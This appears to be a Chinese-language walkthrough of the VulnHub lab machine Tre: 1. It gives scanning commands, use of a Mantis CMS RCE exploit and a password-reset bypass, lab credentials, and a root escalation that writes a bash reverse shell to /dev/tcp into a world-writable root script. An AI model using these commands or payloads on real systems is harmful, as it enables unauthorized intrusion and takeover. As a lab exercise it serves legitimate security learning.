Tre
一、靶机地址
靶机地址:Tre: 1 ~ VulnHub
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 进阶路径枚举
- EXP代码改造
- 突破边界方法1
- 突破边界方法2
- 突破边界方法3
- 权限提升
二、主机发现
arp-scan -l |
靶机地址为192.168.43.160

三、端口扫描
nmap -p- 192.156.43.150 |
发现靶机开放22,80,8082这三个端口,其中80和8082对应分别是apache和nginx但是跑到内容是相同的


四、目录扫描
访问web页面就是一张图片,两个web端口上的内容是一样的,源代码也十分简单
发现不了更多的信息了,就进行目录扫描
dirsearch -u "http://192.168.43.160/" |
发现一个登录页面,还有401状态的页面,
状态码401表面需要进行身份验证

访问adminer.php页面发现是一个adminer的登录后台
adminer的版本是4.7.7,在kali中搜索使用,发现一个低版本的ssrf
但是我在网上也搜到了一个ssrf适用范围是4.0.0-4.7.9,漏洞编码是cve-2021-21311,但是我没利用成功
searchsploit adminer |

根据目录扫描结果还有一个info.php,暴露了配置信息
http://192.168.43.160//info.php |

访问401状态码的system目录,尝试admin:admin发现验证成功了

进入之后发现是mantis框架的网站

五、突破边界(三种方式)
5.1、远程代码执行
searchsploit mantis |
在kali中搜索是否存在对应的payload,发现这个cms存在很多漏洞,找了一个版本比较高对应的rce进行尝试

由于状态码是401,室友认证机制的,所以我们拿一下认证信息,便于后面操作
echo "YWRtaW46YWRtaW4=" |base64 -d |
解码发现就是账号和密码

cp /usr/share/exploitdb/exploits/php/webapps/48818.py . # 将利用脚本复制到当前目录下 |
在脚本中将攻击机受害机ip地址更改为我们对应的,将认证信息添加上

执行成功

成功监听到,获取到了shell

5.2、进阶路径扫描
将认证信息添加一下,对401下的system目录进行扫描,
dirsearch -u "http://192.168.43.160/system/" --header="Authorization:Basic YWRtaW46YWRtaW4=" |
在这个新的目录下,扫描出新的路径了

访问config这个路径

在system/config目录下a.txt中发现一对账号密码,还有数据库的相关配置
username=“mantissuser” |

http://192.168.43.160/adminer.php |
在adminer.php中获取到的账号密码以及数据库名填入,发现登录成功

选择用户数据表,使用sql语句查询表中的内容

发现账号密码
tre
Tr3@123456A!

尝试ssh登录,发现登录成功
ssh tre@192.168.43.160 |

5.3、重置密码
同样利用mantis这个cms,发现除了rce漏洞版本比较高,还有一个密码重置漏洞的版本也同样高,尝试利用
searchsploit mantis |

查看漏洞的利用方式
cat /usr/share/exploitdb/exploits/php/webapps/41890.txt |
大概意思就是,访问这个url会直接跳转到密码重置页面

根据上面的描述发现id为1时,对应的是管理员
http://192.168.43.160/system/verify.php?id=1&confirm_hash= |
直接跳转到了密码重置页面,自己随便输一个密码,然后进行登录

在用户管理界面,同样能获得到这两个对账号密码

六、提权
6.1、suid信息获取
随便使一个终端进行提权尝试
sudo -l |
发现shutdown这个关机命令不用使用密码就能执行

6.2、权限异常的文件
搜索文件属组为root,其他用户可以写的文件
find / -type f -perm -o=w -user root -ls 2>/dev/null |
grep -v 过滤相应的信息
经过过滤,就剩下这几个了,看起来最后一个有点陌生,先看最后一个

查看这个文件的权限,发现属于root用户,但是其他用户有读写权限
查看文件的内容
ls -al /usr/bin/check-system |
发现就是脚本,是执行系统命令的

ps-ef |
发现这个脚本是以root权限运行的/bin/bash

将反弹shell的命令写入这个脚本中,根据之前发现shutdown命令可以不用密码执行,于是使用sudo权限执行shutdown命令,重启操作系统,借此运行脚本,进而获取root权限的bash
/bin/bash -i >& /dev/tcp/192.168.43.159/5555 0>&1 # 反弹shell的语句 |

反弹成功
cd /root |




